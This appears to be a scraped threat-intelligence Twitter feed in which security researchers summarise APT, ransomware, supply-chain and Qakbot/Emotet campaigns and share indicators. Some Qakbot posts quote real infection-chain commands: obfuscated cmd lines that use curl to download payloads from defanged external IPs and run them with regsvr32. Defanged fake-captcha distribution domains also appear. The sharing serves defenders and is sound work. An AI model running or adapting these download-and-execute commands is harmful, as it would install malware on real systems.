MalHunters

[Virus Bulletin @virusbtn]

ESET researchers describe new tools and techniques that the Webworm APT group recently added to its arsenal. Webworm is linked to other China-aligned APT groups such as SixLittleMonkeys and FishMonger. https://t.co/HlMeDfoOXP

[Alexandre Borges @ale_sp_brazil]

The Exploiting Reversing Series (ERS) currently features 1051 pages of exploit development based on real-world targets:

[+] ERS 09: https://t.co/V0K5p1XvH9

[+] ERS 08: https://t.co/MPwYP7j8Qt

[+] ERS 07: https://t.co/h18hZC0azl

[+] ERS 06: https://t.co/Sh8pgB4bh8

[+] ERS 05: https://t.co/rdaPMOm4WM

[+] ERS 04: https://t.co/Vf0Fnwf0tc

[+] ERS 03: https://t.co/4lo5Hi0gnd

[+] ERS 02: https://t.co/6SNMK1tBkd

[+] ERS 01: https://t.co/YMTSBl59VC

Now is the time to take a break to dedicate all my energy and focus to security research and new projects that will be announced in the coming weeks and months.

Have a great day and enjoy reading.

#exploit #exploitation #windows #chrome #macOS #iOS #hypervisors #vulnerability #research

[Virus Bulletin @virusbtn]

Trend Micro researchers examine the April 22 Checkmarx KICS and April 24 elementary-data incidents as part of a broader TeamPCP supply chain campaign. Across both cases, the actor abused trusted CI/CD and release workflows to steal credentials at scale. https://t.co/l3K2Ink7dZ

[Virus Bulletin @virusbtn]

The DFIR Report reveals data from an intrusion where an EtherRAT was deployed via a fake Sysinternals MSI. The threat actor additionally used the TukTuk malware framework and the RMM GoTo Resolve and deployed The Gentlemen ransomware. https://t.co/NY5Px1Co58

[JAMESWT @JAMESWT_WT]

#booking #fakecaptcha
unitycommunityliving.]com/5253
👇
admin-extranetmnxz-captcha.]com/?ref=842727
👇
bknqsercise.]com/bomla
👇
admin-extranetadm-captcha.]com/updserc.zip

Samples
https://t.co/YsjHwNjXgK

AnyRun
https://t.co/KPcXyfXYpz

cc @500mk500 @k3dg3 @skocherhan

1/2

[MalHunters @MalHunters]

Started Writing about top 100 malware family. It is just beginning, I will update when add new malware.
https://t.co/fHvwEtNBBe
Suggestion are welcome.

[MalHunters @MalHunters]

@__atinder__ Good blog

[MalHunters @MalHunters]

#CVE-2022-2294

[Itay Cohen 🌱 @megabeets_]

Two #0day exploits were used against targets in the Middle East, and led to the deployment of Candiru's #DevilsTongue spyware!

- Heap BOF in WebRTC, Chromium (CVE-2022-2294)
- LPE in a 3rd party driver

Great finding by the team @ @AvastThreatLabs!

https://t.co/03GtyS8Eno

>>

[MalHunters @MalHunters]

#CVE-2022-30190

[Virus Bulletin @virusbtn]

Fortinet's Cara Lin writes about a malicious document that exploited Follina, then downloaded Rozena to deploy a fileless attack and leverage the public Discord CDN attachment service. https://t.co/FyUNLL3VqT

[MalHunters @MalHunters]

#Qakbot

[proxylife @pr0xylife]

#Qakbot - obama200 - html > .zip > .iso > .lnk > calc.exe > .dll > .dll

T1574 - DLL Search Order Hijacking

cmd.exe /q /c calc.exe

regsvr32 /s C:\Users\User\AppData\Local\Temp\WindowsCodecs.dll

regsvr32.exe 102755.dll

https://t.co/2Vgg6cuRFh

IOC's
https://t.co/e7hkNW8eQu

[MalHunters @MalHunters]

#Emotet

[JAMESWT @JAMESWT_WT]

#emotet #epoch5 #heodo #Italy
Xls👇
https://t.co/Hh5TXl64Ow
Dll👇👇
https://t.co/DT3nq3Ojec
🔽Dll Urls🔽
https://t.co/uydJk8gvhe

[JAMESWT @JAMESWT_WT]

#emotet #epoch5 #heodo #Italy
Xls👇
https://t.co/Hh5TXl64Ow
Dll👇👇
https://t.co/DT3nq3Ojec
🔽Dll Urls🔽
https://t.co/uydJk8gvhe

[MalHunters @MalHunters]

#Hive Ransomware

[Microsoft Threat Intelligence @MsftSecIntel]

Hive ransomware, already one of the most prevalent payloads in the ransomware-as-a-service (RaaS) ecosystem, has evolved. The latest variant has been transformed by a full code migration to Rust and new complex encryption methods: https://t.co/BKsobSD6mD

[MalHunters @MalHunters]

#Raccoon

[Virus Bulletin @virusbtn]

https://t.co/JFdfXicFPn researchers have published the second part of their analysis of Raccoon Stealer v2, covering the malware's functionalities and capabilities. https://t.co/0GrPoTVLrz

[MalHunters @MalHunters]

#Qakbot

[proxylife @pr0xylife]

#Qakbot - obama198 - .html > .zip > .lnk > .dll

#Signed - TASK ANNA LIMITED

cmd.exe /c set r1=regsv && set cu=cur

call %windir%\system32\%cu%l -s -o %temp%\moreYearNow.png 103.155.93.]201/198.jpg

call %windir%\system32\%r1%r32 %temp%\now.png

IOC's
https://t.co/bXPSW0Yspm

[proxylife @pr0xylife]

#Qakbot - obama197 - .html > .zip > .lnk > .dll

HTML Smuggling.

cmd.exe /c set r1=regsv && set cu=cur &&

call %windir%\system32\%cu%l -s -o %temp%\oneWhich.png 85.239.55.]212/whichABy.jpg

call %windir%\system32\%r1%r32 %temp%\oneWhich.png

IOC's
https://t.co/OaA9vjZ04Z

[Virus Bulletin @virusbtn]

Avast researchers look at two browser exploit kits, MagnitudeEK & UnderminerEK, that are experimenting with exploit chains targeting unpatched users of Google Chrome & other Chromium-based browsers. https://t.co/yAe2fV6gKL

[Virus Bulletin @virusbtn]

Cisco Talos's @CRaghuprasad & @vanjasvajcer write about Nanocore, Netwire & AsyncRAT campaigns that abuse public clouds. In this way threat actors can set up their infrastructure with minimal time/monetary commitments and detection is more difficult. https://t.co/t6Zz5K48nd

[Virus Bulletin @virusbtn]

F5 researchers analyse FluBot's new capabilities in versions 5.0 and beyond. https://t.co/fIKj1EreKY

[Cyber_OSINT @Cyber_O51NT]

Sygnia’s Incident Response team identified a threat group dubbed 'Elephant Beetle' (or TG2003) siphoning off funds from businesses in the financial sector in Latin America https://t.co/xtBCTzdF8s